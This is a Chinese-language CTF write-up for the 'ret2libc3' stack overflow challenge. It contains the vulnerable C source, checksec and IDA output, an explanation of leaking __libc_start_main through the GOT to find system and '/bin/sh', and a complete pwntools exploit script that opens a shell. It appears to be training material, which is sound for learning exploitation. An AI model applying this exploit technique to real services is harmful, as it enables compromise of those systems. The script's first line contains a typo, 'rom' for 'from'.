ret2libc3 先看C代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> #include <stdlib.h> #include <time.h> char buf2[100 ];void secure (void ) { int secretcode, input; srand(time(NULL )); secretcode = rand(); scanf ("%d" , &input); if (input == secretcode) puts ("no_shell_QQ" ); } int main (void ) { setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); char buf1[100 ]; printf ("No surprise anymore, system disappeard QQ.\n" ); printf ("Can you find it !?" ); gets(buf1); return 0 ; }
一、程序分析 checksec查看一下程序保护机制:
1 2 3 4 5 6 7 8 zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3$ checksec ret2libc3 [*] '/home/zhuyuan/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
32位程序并且开启了NX保护,无法执行我们的shellcode,并且找不到system函数地址和’/bin/sh’的地址,所以需要我么自己找出。
ida查看伪C代码:
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char s[100 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); puts ("No surprise anymore, system disappeard QQ." ); printf ("Can you find it !?" ); gets(s); return 0 ; }
溢出函数是gets函数,s的实际地址距离ret返回地址位0x6c+4
如何得到system是这题的关键,利用两点:
1、system函数属于libc,而libc.so同台链接库中的函数之间相对偏移是固定的 2、即使开启了ALSR保护,也只针对地址中间位进行随机,最低12位不会发生改变 所以当知道了libc中某个函数的地址,可以先确定该程序利用的libc版本,进而通过偏移获取system函数的地址
需要做的就是找到libc中某个函数的地址,一般常用的就是通过got表泄露,即输出某个函数对应的got表项的内容(函数的真实地址)。由于libc的延迟绑定机制,做题时需要泄露已经执行过的函数地址
libc中不只有system函数,还有/bin/sh字符串,也可以通过偏移获得/bin/sh字符串地址
这题选用_libc_start_main的地址,这是程序最初被执行的地方
1 2 3 4 int __cdecl __libc_start_main(int (__cdecl *main)(int , char **, char **), int argc, char **ubp_av, void (*init)(void ), void (*fini)(void ), void (*rtld_fini)(void ), void *stack_end){ return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end); }
利用思路:
1、泄露_libc_start_main
2、获取libc版本
3、获取system函数地址和/bin/sh的地址
4、再次执行程序
5、触发栈溢出执行system(‘/bin/sh’)
二、EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 rom pwn import * from libcfind import *sh = process('./ret2libc3' ) ret2libc3 = ELF('./ret2libc3' ) puts_plt = 0x08048460 libc_start_main_got = ret2libc3.got['__libc_start_main' ] start = 0x080484D0 print (hex (puts_plt), hex (libc_start_main_got), hex (start))print ("leak libc_start_main_got addr and return to main again" )payload = flat([b'A' * 112 , puts_plt, start, libc_start_main_got]) sh.sendlineafter('Can you find it !?' , payload) print ("get the related addr" )libc_start_main_addr = u32(sh.recv()[0 :4 ]) print (hex (libc_start_main_addr))libc = finder('__libc_start_main' , libc_start_main_addr,num=1 ) libcbase = libc.libcbase system_addr = libc.dump('system' ) binsh_addr = libc.dump('str_bin_sh' ) print ("get shell" )payload = flat([b'A' * 112 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive()